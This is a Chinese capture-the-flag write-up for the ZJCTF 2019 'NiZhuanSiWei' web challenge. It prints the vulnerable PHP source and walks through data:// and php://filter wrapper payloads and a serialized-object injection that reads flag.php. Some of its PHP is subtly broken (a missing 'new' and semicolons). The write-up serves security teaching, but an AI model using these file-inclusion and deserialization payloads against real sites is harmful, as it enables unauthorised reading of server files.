ZJCTF 2019-WEB-NiZhuanSiWei

复现地址https://buuoj.cn/challenges#[ZJCTF%202019]NiZhuanSiWei

参考 https://www.cnblogs.com/keelongz/p/12615220.html

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

isset — 检测变量是否已设置并且非 NULL
file_get_contents — 将整个文件读入一个字符串

通过data协议绕过第一个if

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
image.png

通过php://读取到uselist.php文件内容

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY&file=php://filter/read=convert.base64-encode/resource=useless.php

base64解密

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>
初始化对象
<?php  

class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a = Flag()
echo serialize($a)
?>

序列化对象后赋值,查看源码得到flag

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容